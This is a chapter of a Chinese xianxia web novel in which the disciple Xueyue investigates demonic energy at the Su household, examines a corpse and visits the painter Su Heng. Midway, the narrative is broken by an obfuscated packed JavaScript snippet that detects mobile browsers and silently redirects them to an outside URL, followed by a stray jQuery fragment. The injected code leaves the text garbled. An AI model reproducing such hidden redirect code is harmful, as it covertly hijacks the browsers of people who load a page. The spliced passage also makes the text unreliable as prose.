“妖气!”云弥大呼。
雪月忙捂住它的嘴,比了个噤声的动作,轻声道:“嘘,别打草惊蛇。”
云弥长耳微颤,往她掌心蹭了蹭。
雪月动用灵力,果然发现了妖气。虽微弱,却的确存在,而且是突然出现。
她凝神,开始感应妖物所在的位置。
就在苏珩宅中!
雪月用轻功跃到桂树上,繁茂的桂花细密地藏进她发间。她坐在枝干上,朝苏珩院中望去,却只见几个仆从在制服发疯的苏珩,哪里还有妖气。
“小弟子,妖气消失了。”云弥几步跳到她身上。
“你能察觉它去哪了吗?”雪月问。
云弥摇头:“这妖气太淡,方圆几里我都没能闻到。”
“这妖怪好大的来头,竟然能在一息之间消失。”
雪月抱着云弥回到地面。
申时,雪月随着剑谦等人去了县衙殓房。
尸身妥善保存,所费不菲,亦需家属允准。一众受害仆从皆已安葬,唯苏二公子遗体,至今仍留在此间冰室之内。
衙门规定,亲属探视至多二人,因是仙家查案,衙门格外开恩多允了二人。苏老爷舍大义自愿在外等候,则进去的人有雪月、隐梅、剑谦、子渊四人及仵作。
刚进殓房,寒气刺骨,雪月忍不住打颤。
这里十几具尸体横陈,皆覆白布,空气中弥漫着股股腐气与冷腥。
仵作停在一处,熟练地掀开白布,露出苏凛的尸身。由于长时间冷藏,他尸体僵硬,冒着寒气。只是尸身遍体块状青瘀,唇色深紫,面目阴冷,瞧着极为渗人。
剑谦与仵作共同将身体翻了个面,雪月这才看到苏凛背上狰狞的乌青色爪印。爪印深陷处皮肉翻卷,凝着乌黑色血块,透着凶戾之气。
待到仵作出去,剑谦施法,掐指对准爪印处。一股黑漆团状魔气被逼出,气体冲天,纵四人带了面罩,臭味仍旧猛钻鼻孔。
雪月一面掩鼻,一面惊讶于这魔气。
不是妖怪,竟是魔族所为?
出了殓房,剑谦将信息告知众人。
“魔族?”文锦皱眉,“魔族害一个世家公子作甚?”
剑谦试探问道:“苏老爷,贵府可曾与魔族有过恩怨?”
苏老爷摇头:“老夫尚不知魔族为何物。”
言辞恳切,叫雪月找不出半点说谎的地方。
剑谦带着众人在苏府方圆几里处皆探查了一番,但无所获,莫言魔气,就连妖气也只是发现了几个刚化形的兔妖。
雪月忍不住摸着云弥的脑袋:“瞧,你亲戚。”
云弥生气地反驳:“小弟子,我是灵兽,不是妖怪!他们怎可与我混为一谈!”
子渊在一旁打趣:“你这灵力虚薄的灵兽尚不如兔妖呢。”
云弥是雪月收的灵兽的事情,众人皆知。只是子渊仍困惑于她的动机,这灵兔孱弱,更何况还在那日偷听了他们的谈话。
想到这里,子渊忍不住觉得羞愧,当日怎地就迷迷糊糊全说出口了呢?
云弥跳到子渊肩上,用爪子在他脸上抓出好几道红痕,他气得提起它两只长耳。
“你找死啊!”
雪月抢过灵兔,道:“子渊,你别欺负它。它只是只小兔子,什么都不懂。”
“我看它什么都懂。”子渊气恼地摸着脸上的抓痕,虽然浅,但透着火辣辣的痛。
雪月佯装气恼,教训着云弥:“云弥,你太坏了,你怎么能欺负子渊师兄呢,快向他道歉。”
她说完,还朝子渊那瞅了一眼。
云弥两脚扑朔:“我才不道歉,分明是这弟子无礼在先!”
子渊道:“切,我才不屑于同你这灵兽计较。”
——
隔日,无论是魔气还是妖气都未曾出现,几人只好先歇着。
雪月在院子逗弄着云弥。
“桂兮桂兮,何藏美人!……”
邻院苏三公子又在发疯。
“鼠兮鼠兮,莫害吾兄!”
听到这话,雪月几乎是下意识站起身来。
苏珩仍在乱呼,她却被那话乱了心神,满脑子都在回味。
“云弥,你听到方才他说的话了吗?”她急切问道。
云弥点头:“鼠兮鼠兮,莫害吾兄。”
“你说,这苏三公子是不是知道些什么?莫非苏凛之死,与鼠有关?”
“小弟子,剑谦不是说了吗,害人的是魔族,就算是鼠妖也不想干啊。”云弥否定了她的话。
“若鼠非鼠呢?”
云弥疑惑,歪着脑袋思考半天也没得出答案。
“小弟子,你说话怎么也神神叨叨的。”
雪月将它放回房中,叮嘱道:“你好好保护自己,我去去就来。”
云弥仍旧云里雾里,但乖乖窝在被褥里。
雪月找苏老爷要了恩准,随下人去了苏珩房中。
刚进屋,浓烈的桂香就如丝缕萦绕在她身侧,好似要将她死死缠住。
“雪姑娘,苏三公子他状况好了些,现在在作画。”仆从认真道,“还请您谨言慎行,莫要刺激他。”
雪月点头:“你放心,我定然小心行事。”
仆从退下,雪月孤身来到他房中。
这是个极为典雅的住处,丝条帘幕高垂,随风微动,遮得屋内影影绰绰。她抬起轻纱,发现墙上挂满了画卷,墨香混着桂香缠绵,在房中谱写一段新韵。
不愧是大家,画作神韵意蕴均富,或山水、或美人、或市井……
其中独占鳌头者,唯有一幅桂花美人图。
美人拈花闻香,一身素罗黄衫隐入桂中。眉如远山黛,眼似秋水横;身姿窈窕,气如谪仙。
雪月仔细观阅,眼见着美人就要从画中出来。
不愧是人间第一画师。
她走入深阁,见苏珩正与桌案作画。他眉头紧皱,用笔踟蹰,不见半点疯癫之状。只是骤然起身,将宣纸揉成一团,扔在地上。
雪月瞧见地上尽是揉皱的纸团,凌乱不堪。
她走近些,苏珩恍若未见,目不斜视,兀自埋首作画。
他正细画着一幅美人图。
而这美人,正是方才在画中看见的那位。
苏珩稍稍着墨,美人便栩栩如生。只是尚未成图,他面色突变,将纸揉成一团,弃置一旁。
雪月真心为那画可惜。
“敢问苏三公子,方才那画不是挺好的吗?为何要扔了?”
苏珩语气癫狂,不停默念:“不对,不对,不对……”
“哪里不对?”雪月被他的反应吓着了。
苏珩并未搭理,埋头作画。
雪月见此,也不好搭腔。
她出了屋,走到院中。
此院桂花甚蕃,香味浓于其他地方。微风吹过,桂花如雨纷纷而下,落到她掌心。雪月低头,瞧着手中点点碎金,将其置于鼻侧,轻嗅芳香。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525348|203464||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有妖气!
她从桂花中闻到了零星妖气。
雪月索性动用“灾灵”,挥手在院中凝成金色结界。用神识察觉到一方桂树上妖气凝聚,如星闪烁。
她施法朝那处攻击,妖气被击散,赫然显现出一个紫衣女人。
是她!
雪月惊讶,这女人眉眼,竟与苏珩所画,一模一样!
她被强行化形,吓得花枝乱颤,凝成一团黄气,于仓促中飞向院外,出了苏府。
雪月点地,迅速飞上院墙,就要去追。只是忽而想起师姐的叮嘱,又止步片刻。
可妖气越来越远,她也顾不上其他,匆匆掐指凝诀,用传音咒告知隐梅后便随妖怪而去。
妖气于府外集市上乱窜,雪月的轻功速度比不上她,只能依据小道上残存的妖气追踪位置。
“快把钱财交出来,否则,我们几个让你小命不保。”
她路过一处小巷,见几个恶霸正在欺负一个文弱男子,那男子一身书卷气,怕是抵抗不得。
她皱眉,忽而朝远处妖气零散处眺望,忽而又看向被几人包围的可怜男子。她狠下心,跳到男子跟前,拔剑相护。
“光天白日之下强抢钱财,王法何在?”
恶霸瞧见这娇弱女子,不禁捧腹大笑。
他们个个凶神恶煞,状如牛马,脸上还有几道触目刀疤,怕是罪恶累累。
“小姑娘,你话本子看多了吧,竟然想美救英雄?”一人出言笑道。
“休要废话,既然我路过此地,那就不可能袖手旁观。”
雪月咬牙说道,强装出凶狠坚定的语气。
恶霸轩然大笑:“你们听到了吗?瞧瞧这小娘子说的什么话,她竟然真的想同我们几个交手。”
雪月没时间同他们过多交谈,面对几人挑衅,直接拔剑出掌,于半柱香内解决事端。
事情以几人落荒而逃告终。
雪月转身想要去追妖怪,却被男人拉住手腕。
“姑娘且慢。”男子面上清秀,恳切道,“多谢姑娘救命之恩,在下无以为报,唯有以身相许,望姑娘莫要嫌弃。”
雪月皱眉,这是什么无厘头的话本子桥段。
她掩面,无奈道:“举手之恩罢了,公子不必如此。”
她转身就要走,偏偏那公子纠缠不断,她走哪,他就在后面追着。
雪月举剑威胁,那男人不知死活地扯着她衣袖。
她只好停下来,满脸郑重,诓骗道:“公子,你的心意我明了。只是我已有婚配,怎能受你之恩呢?”
男子咄咄不休:“姑娘瞧着年纪不大,怎会有婚配?姑娘莫要欺我,我只是想报恩,何必说此谎言来拒我于千里之外呢?”
雪月挥袖,她要受不了了!
她到底救了个什么人!
她一路狂奔,想要摆脱他。
奈何此男瞧着羸弱,跑起来却是半点不输于她。
“你能不能别追我了,我还有要事。”雪月近乎崩溃大喊。
“姑娘救命之恩,在下一定要报!”
男子在后面追着。
雪月无奈,她跳到房梁上,但男子在下面挥手示意。
她跳到另一边,换了条路,但他很快便追了上来。
雪月跑到一处巷中,男子如鬼魅般在后面穷追不舍。
她还想着怎么办呢?
却发现前方走来一个熟悉的面孔。
是他!
有办法了。